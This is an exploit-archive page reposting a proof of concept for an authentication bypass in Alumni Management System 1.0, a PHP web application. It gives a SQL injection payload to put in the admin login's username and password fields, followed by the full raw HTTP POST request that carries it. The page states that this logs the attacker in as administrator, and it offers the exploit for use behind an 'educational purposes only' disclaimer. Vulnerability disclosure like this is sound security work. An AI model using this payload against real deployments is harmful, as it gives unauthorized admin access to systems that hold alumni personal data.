Alumni management system 1.0 authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-10-16 | Type : webapps | Platform : php
This exploit / vulnerability Alumni management system 1.0 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#Exploit Title: Alumni Management System 1.0 - Authentication Bypass
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/alumni-management-system.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL http://localhost:8081/alumni-management-system/alumni/admin/login.php

Step 2: use payload anki' or 1=1# for both username and password.


Malicious Request:::

POST /alumni-management-system/alumni/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/alumni-management-system/alumni/admin/login.php
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv

username=anki'+or+1%3D1%23&password=anki'+or+1%3D1%23

You will be login as admin of the application.